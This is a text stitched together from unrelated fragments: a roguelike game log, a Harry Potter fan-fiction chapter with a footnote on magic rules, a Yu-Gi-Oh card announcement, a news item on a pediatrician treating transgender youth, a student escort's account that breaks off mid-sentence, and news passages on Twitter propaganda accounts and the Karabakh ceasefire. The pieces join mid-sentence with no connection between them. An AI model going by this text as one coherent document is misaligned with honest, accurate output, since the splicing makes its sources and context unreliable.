Book on Changing and Cold 46985 | Snake:2 | Noticed Louise 47016 | Snake:2 | Killed Louise 48455 | Snake:4 | Found Vausarec's Assorted Antiques. 48481 | Snake:4 | Bought a scroll of blinking for 99 gold pieces 48540 | Snake:4 | Found a glowing golden altar of the Shining One. 49062 | Snake:4 | Reached XP level 18. HP: 178/178 MP: 17/17 49630 | Shoals:3 | Noticed Mara 49630 | Shoals:3 | Noticed Mara 49633 | Shoals:3 | Killed Mara 49930 | Shoals:4 | Received a gift from Okawaru 49930 | Shoals:4 | Reached skill level 15 in Armour 50027 | Shoals:4 | Found Prudgh's Assorted Antiques. 50032 | Shoals:4 | Bought a scroll of enchant weapon I for 242 gold pieces 50092 | Shoals:4 | Noticed Agnes 50100 | Shoals:4 | Killed Agnes 50380 | Shoals:4 | Noticed Wiglaf 50393 | Shoals:4 | Killed Wiglaf 50918 | Snake:5 | Entered Level 5 of the Snake Pit 53808 | Snake:5 | Got a serpentine rune of Zot 54536 | Vaults:1 | Entered Level 1 of the Vaults 54649 | Vaults:1 | Reached skill level 1 in Charms 54987 | Vaults:1 | Got a pitted ivory ring 54988 | Vaults:1 | Identified the ring of Ihigruno {+/*Tele rC+ Dex+2} (You found it on level 1 of the Vaults) 55092 | Vaults:1 | Got a smoking mace 55093 | Vaults:1 | Identified the mace of Eternal Night {freeze, SInv} (You found it on level 1 of the Vaults) 55238 | Vaults:1 | Paralysed by a red wasp for 2 turns 55841 | Vaults:1 | Reached skill level 5 in Charms 56220 | Vaults:1 | Reached XP level 19. HP: 188/188 MP: 14/18 56622 | Vaults:2 | Reached skill level 1 in Translocations 56774 | Vaults:2 | Found Reapn's Gadget Shoppe. 57024 | Vaults:2 | Found Lame's Antique Armour Shop. 57034 | Vaults:2 | Identified Louise's Catalogue of Attacks 57038 | Vaults:2 | Bought a runed orcish cloak for 17 gold pieces 57042 | Vaults:2 | Identified a +2 orcish cloak of preservation (You bought it in a shop on level 2 of the Vaults) 57236 | Vaults:2 | Paralysed by a sphinx for 2 turns 57671 | Vaults:2 | Reached skill level 5 in Translocations 58013 | Vaults:2 | Found a staircase to the Crypt. 58057 | Vaults:2 | Found Vyrytynnya's Magic Scroll Shop. 58066 | Vaults:2 | Bought a scroll of enchant weapon I for 82 gold pieces 58561 | Vaults:3 | Noticed Kirke 58592 | Vaults:3 | Killed Kirke 58599 | Vaults:3 | Received a gift from Okawaru 59206 | Vaults:3 | Noticed Saint Roka 59323 | Vaults:3 | Killed Saint Roka 60255 | Vaults:4 | Got a smoking jade amulet 60256 | Vaults:4 | Identified the amulet "Axty" {+Rage Str+3 Dex-3} (You found it on level 4 of the Vaults) 60484 | Vaults:4 | Found a staircase to the Hall of Blades. 60527 | Vaults:4 | Reached XP level 20. HP: 116/202 MP: 18/18 61363 | Vaults:4 | Reached skill level 15 in Fighting 61899 | D:19 | Noticed Snorg 61918 | D:19 | Killed Snorg 61924 | D:19 | Noticed Frances 61937 | D:19 | Killed Frances 61971 | D:19 | Received a gift from Okawaru 62066 | D:19 | Noticed Aizul 62083 | D:19 | Killed Aizul 62090 | D:19 | HP: 10/206 [poisoned by Aizul (poison arrow)] 62512 | D:19 | Identified a scroll of acquirement 62513 | D:19 | Got an ancient giant club 62514 | D:19 | Identified the giant club of Untruth {holy, Noisy} (You acquired it on level 19 of the Dungeon) 62998 | Shoals:5 | Entered Level 5 of the Shoals 63287 | Shoals:5 | Got a barnacled rune of Zot 64313 | Shoals:5 | Noticed Ilsuiw 64800 | Shoals:5 | Noticed Dr. Bruce's ghost (mighty GrFi) 64831 | Shoals:5 | Killed Dr. Bruce's ghost 65923 | D:20 | Entered Level 20 of the Dungeon 66349 | D:20 | Reached XP level 21. HP: 200/219 MP: 19/19 66867 | D:21 | Found a one-way gate to the infinite horrors of the Abyss |
much to ask that this broke the curse he put on the Defense position in the first place." Dumbledore sighed deeply, pushed himself out behind his desk, and stepped over to a faded shield on the wall. After several incantations, he returned.
"I have fired him," he answered Harry's unasked question. "The wards will no longer permit him access without giving alarm. Hogwarts will be safe once more. Safer, at least, than anywhere else in the country."
"Can you bring my parents here?" There hadn't been much time for thinking during his mad run towards the Headmaster's office, just for a few wordless concepts to pop into his head, but that had been enough.
"I do not believe that is necessary, although they are of course invited to visit you for the Easter holidays. As I have told you before, Voldemort and his allies have learned, during the last war, not to attack the Order's families."
"Yes, you taught them by burning Narcissa Malfoy to death, right?" Dumbledore didn't respond.
Harry continued, not quite managing to keep the edge from his voice: "I am not in the Order of the Phoenix, nor do I think that Quirrell is using his old Death Eaters at the moment – certainly not Malfoy, at any rate. Besides... I think I might have undone some of that work when I was prepared to pay a hundred thousand Galleons for Hermione Granger's life. He won't be fighting you, he will be fighting me, and he knows perfectly well that it would affect me a lot if he took my parents. So can we please not go from guesses, and just keep them safe?"
Dumbledore sighed. "Very well. I shall send Minerva, Alastor and some others to guard them invisibly, and then bring them here tomorrow to visit you. That, we can do without even giving them any alarm. And while they are here, I can strengthen the protections on them."
"That just seems nowhere near enough, Professor!
"How much do you think Voldemort expects to gain from attacking your parents? If he has to fight his way through several members of the Order, it doesn't seem like the effort would be worth it. If I put my strongest protections on them, which it would take a full day of work to tear through, it also doesn't seem worth it. You can uproot their lives and ask them to stay here while your father loses his job and your mother is terrified – I know she fears magic and would not appreciate being trapped here – but you must ask yourself whether it would be in their best interest to do so."
Harry almost roared in frustration. "Inconveniences don't compare to dying! Quirrell is insanely powerful. I... I saw him fight an Auror who looked pretty old and very tough, and it was just no match. He could take down several of your precious Order members at once while standing on his head with one hand tied behind his back! Bring my parents here now, and then we can talk about what else to do with them later."
"If that is the way it must be." The Phoenix Patronus blazed into existence. "Tell Minerva to take what help she can from the Order, and bring Mr. Potter's parents to Hogwarts immediately. Be quick, but do not give them undue alarm." The Patronus disappeared, and he turned his eyes back to Harry, looking severe. "And now, Mr. Potter, tell me." The usual warmth had gone from his voice. "When did you see the Defense Professor fight an Auror?"
Harry sighed. "I guess at this point it would be completely stupid if I didn't tell you about the Azkaban breakout."
"So basically," Harry summarized. "Quirrell planned the whole thing, and I screwed it up. But I ended up getting out anyway, learning a lot about myself in the process. And I do think Quirrell probably told the truth, that she was originally innocent, because everything she said matched with what he had told me – at least she did love him, and did not expect to be loved in return. Even if she was never innocent, I'm still glad that she's no longer suffering there, because no one deserves that." He paused for a moment. "On the other hand, this whole thing was a huge mess-up with terrible consequences, and now she will end up serving You-Know-Who again and doing horrible things for him... I'm not so happy about that."
"I see." Dumbledore was frowning, although he no longer looked threatening like he had at the beginning of this talk. "You have made an enormous mistake, Harry, and I wish you had decided to trust me, then. Death would have been the merciful way out for Bellatrix, and that much, I could have offered."
"I don't think I would have been happy with that," Harry said, looking at the floor. It would have been the sensible thing to do, but that was just hindsight. And if Bellatrix could have lived, not as a slave to some Dark Lord but actually get therapy and be free... That would have been worth the other costs.
"At least my understanding of that day is now improved," the Headmaster sighed. "Thank you for that, Mr. Potter."
"Are you going to turn me in?" He didn't think the Headmaster would, but it wouldn't hurt to check.
"No. This crime was Voldemort's, even if he misled you into participating. Besides, we shall need you, now more than ever. I will speak to Amelia and inform her of matters regarding our Defense Professor, and I shall say that other magic than the Animagus transformation was used to break out of Azkaban, but leave it at that."
"Professor... I think I should warn you. You think you and the Order have held off You-Know-Who for years. But that's just... he wasn't fighting you, he was playing with you. If he had fought all-out, he would have won, if not instantly then at least within the first year. I've known him since September, and I've known you, and I am... absolutely convinced of that, Professor."
Dumbledore's brow creased into a deep frown, but he didn't outright reject the statement. "If that is the case, then what do you propose he was doing?"
"I don't know." Certainly Voldemort's lack of effort made sense in the first two years, when Monroe was gaining prestige and followers from fighting him, but what about the eight years of terror afterwards?
"He's smarter than I am. I don't know what he was doing, he never dropped a hint, or if he did, I didn't understand it. I could make up many random guesses, but it would be like... like the old Greek philosophers saying stuff like 'all is fire'. I'd have no way of knowing that the hypothesis was actually true."
"I am glad that you at least acknowledge Lord Voldemort as a threat now. So let me ask you another question. What was he doing this year? The thing that was hidden in this school is still hidden; if he made an attempt on it, I would have known."
"Are you sure of that?"
"Absolutely. Merlin himself might have broken through the defenses, but even he would not have been able to do so without alarm."
"All right." Harry decided to accept that as plausible for now. So what else could Voldemort, coming to teach at Hogwarts disguised as Professor Quirrell, achieve?
He said he always wanted to teach Defense Against the Dark Arts, Hufflepuff pointed out. And that might be true. Voldemort applied to the position years ago, which is how it got cursed in the first place.
It seems unlikely to the extreme, his Slytherin side said, that he would go to the effort of possessing a victim's body and hiding right under Albus Dumbledore's nose just for the pleasure of teaching. There has to have been an ulterior motive.
So what has happened this year? Ravenclaw asked. Did anything out of the ordinary happen that could be best explained by an evil genius executing some kind of plot?
And that was the baffling thing. As far as Harry could see, nothing dark had happened this year, except for the Azkaban breakout, which Quirrell could not have been planning from the beginning (as Harry only discovered the required power in February) and the attack on Draco and Hermione. That had almost certainly been Quirrell, trying to push Harry into following his plan to "defeat Voldemort", and conveniently taking away the two people who caused Harry to think before doing stupid things. He might also have been involved in protecting Hermione and the other heroines, and sending her those messages, but to what purpose? And other than that, what had Quirrell done, or potentially done, other than just teaching? What had he even shown an interest in?
Me.
"He's been mentoring me," Harry said, his mouth dry, his voice sounding hollow even to himself. "He... had plans for me. He said he wanted me to rule, and every thing he did when interacting with me, publicly and privately, seemed to be pointing in that direction."
"I may have been around Alastor for too long," the old wizard responded, "but the obvious rebuttal that comes to mind is that he might just want you to think that."
"But what would the point of that be? To stop me from seeking power, because it might be playing into his hands?"
"Perhaps."
Harry shook his head. "There are some things I need to do whether or not there is a Dark Lord I need to fight. And he knows that. He knows perfectly well that I will want to take down Azkaban no matter what – in fact, he made sure of that, by taking me there. He knows me through and through, Professor. It's pointless to conjecture him planning things which involve me acting unlike I normally would."
"But you think he wanted to make his prophesied enemy stronger? To get you to rule, so you will have followers at your back and call to destroy him?"
"Yeah, about that prophecy... Can you please make preparations to take me to the Department of Mysteries? I need to hear it for myself. It couldn't possibly be a false memory planted by You-Know-Who so everyone would think I was his destined enemy, while really I was just some random kid?"
"There is a prophecy, for I saw the orb float to your parents' hand. And if it said something different, I expect they would have told me. But very well. I shall make plans to let you visit that place."
Would it take eight years to break into the Department of Mysteries, and insert a fake prophecy?
"I think I also want to know... what happened the night my parents died? How do we know that he tried to cast the Killing Curse on me?"
The old wizard shrugged helplessly. "It was the one spell he used above all. Why should he use something else?"
"That's all? I'm known as the only person ever to survive the Killing Curse, and we don't even know for sure whether he in fact cast the Killing Curse on me?"
"No, there's another piece of evidence. There is a spell, priori incantatem, which forces a wand to reveal the last magic performed with it. I cast it on Voldemort's wand, just in case, and can confirm that his final spell was the Killing Curse."
"Wait." Harry's head was buzzing. "You found You-Know-Who's wand?"
"Of course. It was left by his corpse. When Hagrid alerted me that the house was in ruins, I came instantly, and took all three wands. I have destroyed Voldemort's wand afterwards, of course." He didn't mention what had happened to Lily and James's wands, but Harry had a distinct feeling that he already knew.
"The thing is... Bellatrix told me where to find my wand, when she believed I was her master. I thought she had visited the house and taken it from his body."
"If she had, she would hardly have left you alive. But no, no Death Eater has been in your house. Even after their deaths, the Fidelius Charm on the Potters' house was still active. It seems unlikely that Sirius Black also passed the secret to her. Why would he, unless the Dark Lord was planning to take her with him? I have no guess of what she could have meant." [In case of confusion, see Footnote]
"He left his real wand with her." Harry was staring into space. "And he took a spare wand himself. He was planning to die, or to leave his wand behind, or for something unusual to happen."
The Headmaster gave him a piercing stare. "What on earth could be his motive for dying? It doesn't seem like the kind of thing he would be overly fond of."
"You are convinced he was already immortal, aren't you? So leaving the burnt husk of his body behind wouldn't hurt him as much as it would most other people. I don't know why he would do that, but that might just mean I'm not creative enough. And in fact, what if he never did cast the Killing Curse on me, but cast it on himself? It doesn't make sense that a small baby would be the first to survive the Killing Curse."
"That would require a rather extraordinary amount of self-loathing." There was no twinkle in Dumbledore's eyes, only sadness and exhaustion. "And I can think of several reasons why the Killing Curse might have bounced."
Harry quirked his eyebrows. "Like what? The harmonizing of our magics?"
"That could certainly have caused unexpected problems," the old wizard nodded, "although I have never heard of such an effect and cannot imagine why you would have been born with it. I suspect the reason is rather the other way around."
"Would you care to elaborate?"
"I would have preferred to wait longer, but... I know there is little point in treating you as a child." He stood up, and took an ancient-looking book from a shelf. The pages were grayed and brittle, and it shed paperdust as Dumblefore carefully opened it.
"I found this old grimoire in the ruins of an ancient structure of what was once the capital city of magical Italy. I have made copies, of course, but with magical books, the original often has a kind of integrity that copying cannot preserve. So too with this one. There is a lot of knowledge contained in its pages, even if most of it is half-faded, but what is most relevant to you is found in chapter nine." The pages rustled, and turned themselves towards somewhere around the middle of the book.
"Here," he pointed to the left page, which featured a faded picture of a girl, somewhere between six and fifteen years old, but it was hard to tell, "the author, a werewolf who lived some nine hundred years ago, describes a child, who seemed to be possessed by a dark wizard that was terrorizing the country at the time. She did his bidding, remembered things that only the dark wizard would know, and even had the same kind of walk and peculiar facial expressions. Sometimes, very rarely, the child acted differently, more child-like, and did not remember what it had been doing. The author says he believes that there were two spirits in the child, one the original, and one the possessor.
"The interesting thing, the extremely interesting thing, was that the dark wizard in question was alive, and functioning, at the same time. This is the only tale I have ever found of a possession which did not require the possessor to be dead or unconscious. I do not know how he managed the feat, but I have not read all the ancient works that still exist, and Lord Voldemort might well have found different stories. Since learning of your dark side I have come back to this tale, and while the explanation I have pieced together is far from complete, it seems likely that there is some kind of connection. I suspect that, unlike what we might normally expect, he did not try to kill you immediately. If he knew the dark magic to take over another's body, he might have used that on you. Your dark side is really the remainder of his spirit."
Harry frowned. "That doesn't make sense. One, why would he do that, rather than killing me? Two, we know that his last spell was the Killing Curse, why would he go to that effort and then try to kill me afterwards? Three, my dark side is not a separate entity, it is a way I sometimes am. I asked the sorting hat, and it did say that there was only one person under its brim. So it seems that this has little to do with me."
"Do not forget the words of the prophecy, Harry. Either must destroy all but a remnant of the other. That, I think, might have been what motivated him. Should one seek to prevent a prophecy in the obvious way, the invariable outcome is that they end up fulfilling it regardless. Voldemort might have realized that the prophecy would not have been fulfilled if he killed you, and fate would intercede to have something go wrong. Something that would mark you as his equal, which might refer to a transfer of power. When I learned of your dark side, I realized that it was obvious that Voldemort would not have made that mistake. Preventing a prophecy is hard; fulfilling it is easier. If he used this dark ritual on you, it would mark you as his equal, as you would essentially share a part of his magic. And he might then be able to use the Killing Curse, which strikes directly at the soul, but is known to leave the body intact... That would leave only a remnant of you behind, your body, preserved by the possession."
"That seems... extremely convoluted. And rather far-fetched."
"If it were only intended to leave a remnant of you behind, the process would certainly be unnecessarily complicated. However, there are other advantages to this course of action. He would have a child in his power – a child believed by others to be harmless, and moreover a herald of the light – and could use the body to come close enough to his enemies to strike. He might have been contemplating such a possession before, and simply taken an opportunity to win two battles in a single move. It seems unwise to use the body of such a young child, but perhaps the method only works on children? I do not know, but I must beg you not to disregard the possibility merely for my lack of knowledge – I cannot provide details, but what I do know is that your dark side seems like a reflection of Voldemort's personality, and this is the best hint I could find to a process which might have caused such an effect. Undoubtedly there is far more to this tale that I simply do not yet comprehend."
"Right. But that still doesn't address the problem that my dark side simply does not behave like that. Nor does it explain why You-Know-Who died."
"It might. The Killing Curse is not an easy spell, and I am not certain how it behaves in situations outside the obvious. If he was possessing your body at the time, it is conceivable that he accidentally hit that part of himself. Even the most powerful wizards can make mistakes, especially when they attempt magic that has never been done before. An accident like this could well make the spell backfire. And while we have exceedingly little data as to what a botched Killing Curse might do, it does not seem inconceivable that it caused a part of his personality to be blown into you – his personality only, not his consciousness, so the sorting hat would not see it. Perhaps, when his spirit was flung from his and your body, it passed through your soul, leaving part of itself behind? Or the possession itself warped what had already developed of your own personality? You were very young at the time, your mind and soul still growing, so that might be why you subsumed this part of him inside yourself. However it may be, it is still obviously a somewhat separate part of you."
"Hold on."
Was there any chance that this insane story was really true? Leaving aside all the guesswork and unstated assumptions about souls in the explanation, could Voldemort have caused some kind of spell effect that blasted his own personality in a part of Harry's brain?
Dumbledore is generally hailed as wise, his Gryffindor side pointed out. He is also probably insane, but he has read many ancient texts, knows of many dark rituals. In matters of myth and legend he is certainly schooled. I would not disregard his theory just because it seems somewhat wild – if he takes the possibility seriously, things like this might have happened before. Even disregarding the rest, his words suggest that there are multiple sources referring to possession – what would something like that do to the developing brain of a baby?
But if it is true, how could we know that? Ravenclaw asked. It does fit the data somewhat, but Dumbledore had most of this data when he constructed the hypothesis, so we cannot really use the fact that it seems to fit as proof. Is there an additional experiment that could confirm some of these ideas?
We do not need to believe it to acknowledge the possibility that our dark side was originally a part of Voldemort, Slytherin pointed out. And act accordingly.
Act how? Ravenclaw rebutted. If we do not know the extent or the method of the possession, the possibilities to account for are endless. If even half of this story is true, it could mean that something more than his personality is still there – what if he is still possessing us? What if he can take us over any time he likes, read our mind, or perhaps even have us drop dead on command?
I don't think he read our thoughts... Hufflepuff pointed out timidly. He didn't really seem to know about Draco's Patronus, or about the fake spell we gave Tracey.
Or that's just what he wants you to think, said the voice of Moody.
There was a brief pause as the other imaginary personalities stared at the newcomer, but then Ravenclaw gave a mental shrug, and added: This is Quirrell we're talking about. There's really no telling with him. But it would explain why he so often seems to know exactly what we aren't telling him, and manages to deduce the right conclusion even when there is no way he could possibly figure that out from just the information he has.
"All right. I guess it is possible, or parts of it are. I'll think about it some more."
Dumbledore nodded. "Then I guess I shall go and inform Amelia, and the Order now." He sighed. "And I suppose you would like me to formally introduce you into the Order, and keep you involved in its activities?
"Well..." Harry shifted awkwardly. "Please don't take this the wrong way, Professor, but I don't think I really want to be part of the Order of the Phoenix –"
Dumbledore gazed at him tiredly. "Oh? That seems uncharacteristic of you. Would you not normally ask to be included and kept in the loop for such activities? I have been trying to treat you less like a child."
"Well, yes, and I appreciate it, but that's not it..." There was no tactful way of putting this. He wasn't quite ready to take Dumbledore as his enemy – the old man didn't seem evil. In fact, he was obviously well-intentioned, or Fawkes would leave him; what little he knew about phoenixes at least agreed on that. Nor was it certain that he had tortured Narcissa Malfoy to death. But still... "I just don't like your methods, Professor."
"Ah." The old wizard looked very ancient indeed, as he stared sadly at Harry. "And you believe that you can do better? That you can fight your war without making sacrifices, without taking losses?"
"I don't know. But at least I want to try."
The old wizard sighed. "Very well. I cannot say that this is entirely unexpected. Even so, however, as I told you on the first day we spoke, I do believe that you and I are game-pieces of the same color, Harry. You do oppose Voldemort, do you not, even if he is the wizard who mentored you, and you have come to think of him as a friend?"
Harry nodded. There was no way he could even consider taking Albus Dumbledore as his enemy without being slightly more offended about a dark wizard who nailed the skins of Yermy Wibble and his family to a wall, or who had made Hermione believe that she would turn to cold-blooded murder, or who had bound Bellatrix Black to him with dark magic, or who had mocked Lily in her final moments, or who had done all those other acts of torture, murder and general terrorism by comparison with which merely murdering Harry's parents was not even worth mentioning... It was painful to think that it would have been Professor Quirrell behind all that, and some part of him still didn't believe that he and the late Dark Lord were the same person, but regardless of that, Lord Voldemort was his enemy, plain and simple. Whether that meant he had to die was a different question, but should he stand in the way of Dumbledore killing him if there was an opening? Could he be that sure of himself?
"He is my enemy," Harry simply replied.
"Would you like me to relinquish command of the Order to you?"
Harry blinked, taken aback. "What?"
"Minerva has already shown that, when pressed on the point, her first loyalty is with you rather than me. Others might make the same choice. You are our symbol of hope, Harry, and if anyone can defeat him, it is you. You might turn out to be a better leader than I was, or have become now."
"No, I... I don't think I'm ready for... no."
"Very well." The old wizard stood up, and was suddenly dressed in formal black robes. Despite the look of sadness his face was still wearing, he seemed formidable. "Then I shall continue to oppose Voldemort in any way I can, until you tell me to back off and get out of your way. I expect that you shall form your own plans, but do not hesitate to call on me when you need me for any purpose. You may have lost faith in me, Harry, and you may even be right in that. However, my loyalty will always be with you."
-o-o-o-o-o-
Author's Footnote: this text may seem to contradict chapter 53, where Bellatrix says she got the wand from the Potters' house. In fact, it was based on an earlier version of the text, where Bellatrix said this instead:
"Your wand," murmured Bellatrix, "I hid it in the graveyard, my lord, before I left... under the tombstone to the right of your father's grave... will you kill me, now, if that was all you wished of me... I think I must have always wanted you to be the one to kill me... but I can't remember now, it must have been a happy thought..."
This paragraph was altered afterwards, probably to clarify the question where she would have got the wand. Which is unfortunate for me, as I took the different interpretation for this spin-off. :) So, please pretend that Bellatrix left ambiguous where she got the wand!
As for the Fidelius Charm: this charm is not the same as in the original Harry Potter books, where its use is somewhat inconsistent (and would be overpowered if used rationally). Most importantly, you cannot be your own secret-keeper, the protection simply breaks when the secret-keeper dies, and the spell can only be used on a location, not on other secrets. I've written up some musings below of how I roughly envision it could work (and still be mostly consistent with all but the last Harry Potter book), but these details will not be important.
The Fidelius Charm is actually not a charm, but rather a piece of ritual magic (hence why it gets to be so powerful). The ritual is performed by a witch or wizard of great power (the caster), targeting a not-too-large location (the secret), and using one or more volunteers (the secret-keepers). The key to the ritual is trust: the location stays safe as long as a trusted person (or multiple trusted people) chooses to jeopardize their own safety over betraying the secret location (and presumably the people within).
* Once performed, the location is hidden from sight, plotting, charms, divinations or any other magical or mundane means. There are no known ways to get around the protection. Even if you know for a fact that there are people hidden in 12 Grimmauld Place, you have no way of reaching the place unless you are explicitly told about the location by a secret-keeper.
* Only the secret-keepers can tell other people about the secret. The people who are told do NOT become secret-keepers, so they cannot give other parties access. Secret-keepers must be witches or wizards, and cannot be added after the completion of the ritual. Sharing the secret can only be done willingly: if it is spoken under Veritaserum or Imperius, or plucked from their mind using Legilimency, the person in question will still not be able to find the location. This does not preclude torture, however, as a tortured secret-keeper still has a choice whether or not to reveal the secret of the location. To stay in keeping with the novels, let us say that the caster does not need to identify the secret-keepers by name, but they are for instance identified as the people inside the location at the time of the ritual; if anyone wanted extra safety by deceiving the caster about the identity of the secret-keepers, the volunteer could use polyjuice potion. Or, say, carry a certain rat in their pocket to get multiple secret-keepers. :)
* If a secret-keeper is inside a location under the Fidelius Charm – any location, not just their own – their secret-keeper magic starts stressing until it reaches breaking point after one hour and they are removed as a secret-keeper (see next point). When they leave the Fideliused locations, this stress starts slowly decreasing again. So they can visit the people whose location they are keeping secret, but never for more than an hour, and afterwards they have to stay away for a day or so before it's safe to visit for an hour again; they cannot just step out for a second to reset the timer.
* A person is removed as a secret-keeper if they are (a) dead, (b) inside a location hidden by the Fidelius Charm for too long, (c) unable to share the secret willingly for too long (with a similar "stress" timer as above) – where "unable" could for instance be because they are insane, in a coma, under Imperius, in a magical sleep or imprisoned, or if they have sworn an unbreakable vow that would interfere with having a choice in the matter.
* The spell breaks if the location has been abandoned by humans for over a day, if the caster dies, or if there are no secret-keepers left. When the protection starts fading, everyone inside the location will be aware of this, and they will have several minutes before they are exposed.
* Temporary sacrifices (for as long as the protection is active – note that for the unbreakable vow, as described in chapter 74, two out of three sacrifices are of this temporary nature): the location sacrifices accessibility. The secret-keepers sacrifice their own safety (they run a severe risk of getting captured and tortured while they're keeping the secret) and cannot strongly protect themselves from magical tests to verify whether or not they are a secret-keeper. Finally, the caster sacrifices a small portion of their magic to keep the protection active.
* Permanent sacrifices: the caster sacrifices three months of their life (sacrificing "life" will be explained in later chapters). The secret-keepers permanently sacrifice a portion of safety, in that they lose the power to be subjected to powerful personal wards (e.g. blood wards or wards that stop you from getting traced by name). Since this must be an actual sacrifice, this implies that you can only be a secret-keeper for one place in your life. For someone in Dumbledore's position, this sacrifice is simply too dangerous, which is why he could never be a secret-keeper.
So, you can have multiple secret-keepers, but you'd better trust every single one of them not to betray you even under torture. There's no point being your own secret-keeper; if you stay inside the hidden location for more than an hour (for example to sleep), the spell breaks. It makes sense for an enemy to kill a secret-keeper in the hope to break the spell, but then the people in the hidden location will have warning (and it won't work if there are other secret-keepers), so persuading them to speak would be preferable. You could hide a family by persuading a good person completely unrelated to them to be a secret-keeper (without telling them who's in the location they're hiding), which mitigates the risk to the secret-keeper, but then they will have little reason to suffer and/or die for you if their secret-keeperness should be discovered (plus, since the secret-keeper can access the location, they can probably check who's inside it without being noticed, and then they might just choose to betray you for money or other gains).
(I hope I made this watertight. However, I have little doubt that the munchkins among you will figure out further ways to break this. :) Edit: thanks to reviewers for pointing out the "step outside for a second" loophole.)With Pendulum Evolution coming out in a few days, Konami’s revealed the Poster for Maximum Crisis!
Of note is the reveal of Yuya’s “Performapal Drago Remora”, along with what looks like a legacy support WATER monster that looks Spellcaster-ish. We’ll keep you informed when they come up!
MACR-JP031 影霊衣［ネクロス］の巫女エリアル Nekurosu no Miko Eriaru (Ariel, Priestess of Nekroz)
Level 4 WATER Psychic-Type Effect Monster
ATK 1000
DEF 1800
You can only use the (2)nd effect of “Ariel, Priestess of Nekroz” once per turn.
(1) Once per turn: You can reveal any number of “Nekroz” cards from your hand to your opponent; until the end of the turn, increase OR decrease this card’s Level by the number of cards shown.
(2) If this card is Tributed by an effect: You can add 1 “Nekroz” monster from your Deck to your hand, except a Ritual Monster.
MACR-JP005 EM小判竜(ドラゴ・リモーラ) Performapal Drago Remora
Level 4 WATER Dragon-Type Pendulum Effect Monster
ATK 1700
DEF 1000
Pendulum Scale: 5
Pendulum Effect:
(1) Once per turn: You can target 1 Dragon-Type monster you control that was Special Summoned from the Extra Deck; during that turn, if monster battles an opponent’s monster, banish that opponent’s monster after damage calculation.
Monster Effect:
Other Dragon-Type monsters you control gain 500 ATK and cannot be destroyed by effects.
Source"Gender and sexuality are absolutely a part of medical care."
That is pediatrician Michelle Forcier's specialty.
"We work with a number of patients whose brain and heart gender identity doesn't necessarily match up with some of the parts they got," Forcier told NBC 10 News.
Working through Hasbro Children's and Rhode Island Hospital and Brown University, Forcier said she has about 400 patients in various stages of a potential transgender journey.
"Kids as young as two, three, four know what their gender is," she said. "And so we need to listen to kids. That doesn't mean they're transgender."
Forcier said she has no reason to tell patients to be transgender, but it's healthiest for patients to live the life they identify with.
For younger children, Forcier said care is mostly about support and education.
Later on, it can include medication to block puberty and then hormone therapy.
"She pays attention to each person, their case, and she knows that no two trans people are going to be the same," transgender teen, Liam Fifer, told NBC 10. "She really helped me through adolescent years, which are really hard already."
Forcier argues what she helps patients with is like other medical issues, like if a child has diabetes.
"Should we let them die when we have medicine for diabetes?," she said. "And we're really talking about the same level of intervention. When gender non-conforming, transgender kids and adults are not supported (and) are stigmatized, then they can't be healthy."
She acknowledged parents can have a hard time.
"The big message is listen to your kid, love your kid, and sort of work with them to figure out who they are and help them figure out in a healthy, safe way who they are," Forcier said.Living on a £1,000 overdraft, Sarah is struggling to finish her business studies degree, so three nights a week she becomes "Mandy", a female escort. Here she reveals all…
"Escorting was just something I fell into," she says.
"I saw an advert in the local newspaper, knew my bank balance was looking seriously unhealthy and - thinking about the student fees hanging over my head - decided to give them a call."
Selling sex is a quick and easy way to make cash. In London alone, some 80,000 men are thought to regularly pay for sex.
"I'd rather get paid £50 per hour for doing something that is not difficult rather than work 30 hours a week in a bar for £4 an hour," Sarah says.
"A lot of my friends are unhappy with their jobs but I am happy with mine. If I work three hours a week for a year I'll earn nearly £8,000 and have more time to study. What's wrong with that?" she asks.
"I must admit my first night was terrifying. I could hardly stand up I was shaking so much. You wait for your jobs in the 'girls' lounge', which is a pokey room with just a couple of sofas, a television and five overflowing ashtrays.
"There are no windows. The only light comes from a dim lamp in the corner of the room. The smell is a mixture of stale smoke and perfume. It's not the best place to prepare yourself for the unknown, but it's better than being the street," she reasons.
Indeed, studies show women who work on the street are 10 times more likely to face violence than those who work for escort agencies.
"The agency promised I would only be sent out to a regular client who they knew well," she continues, "which put my mind at rest a little. It seemed like I was waiting for an eternity before my name was finally called though.
"I had to ring the client personally to give him a brief description of myself. After I anxiously dialled the number, a |
of the account that was the recipient of an emphatic “Thank you Nicole!” from Trump on Saturday, Twitter will not say exactly why it was suspended. Online sleuths have posted evidence that the account has changed names several times, including as recently as this weekend. Experts say accounts such as this one often disappear quickly once they are exposed or achieve their objective. No one named Nicole Mincey has stepped forward to say the account is hers.
“We do not comment on individual accounts, for privacy and security reasons,” a Twitter spokesman said in response to an inquiry about why the account was suspended.
At one point, the account boasted as many at 150,000 followers. According to other Twitter users, it was connected to similar accounts, which experts say suggests a network created to disseminate propaganda. These accounts are often set up as one-stop shops for pro-Trump, anti-Democratic Party memes. The accounts often use stock images doctored to display pro-Trump messages or slogans.
The Trump administration has appeared resistant to addressing the growing problem of Russian online propaganda, which lawmakers and national security experts warn is a continuation of the tactics seen during the 2016 campaign.
Congress has appropriated $80 million to combat Islamic State propaganda and Russian disinformation online, but the State Department has not used the money, prompting bipartisan condemnation from Sen. Rob Portman (R-Ohio) and Sen. Chris Murphy (D-Conn.), the lawmakers who wrote the legislation establishing the fund.
“The challenge of Russia disinformation is not about Donald Trump, it’s much broader than that,” Portman said in a speech at the Atlantic Council late last month. “It was a serious problem before him, and it’s going to continue to be a problem long after his term in office.”The military commander of this breakaway Armenian republic predicted in an interview here Monday that a fragile cease-fire could collapse within days. By that night, Azerbaijani shelling had killed two Armenian soldiers in a northern border town, amid accusations by each side that the other had violated the truce.
The “frozen conflict” here, stalemated for 22 years, exploded on April 2, when Azerbaijani forces attacked across the 200-kilometer front line. The Azerbaijanis seized ground for the first time since the previous war ended in 1994. Russia negotiated a quick truce that began April 5, but as Monday’s fighting showed, another all-out conflict seems perilously close.
Karabakh is one of the world’s least-discussed and most intractable quarrels. The mostly Armenian population violently seceded from Azerbaijan in a two-year war. Since then, Russia, France and the United States have sponsored a mediation effort, but it has been fruitless: Azerbaijan demands that land once inside its borders be returned; the Armenians insist they aren’t leaving. Rather than softening over time, anger seems to be hardening on both sides.
Russia is opportunistically in the middle. Moscow says it wants to broker a lasting peace deal, but it has also been arming both sides. The United States also hopes to prevent a wider conflict but has little diplomatic leverage. The Azerbaijanis, judging by their strident social media, feel emboldened by their recent offensive; the Armenians feel isolated and increasingly reconciled to what one former peace activist here described to me as a state of “permanent war.”
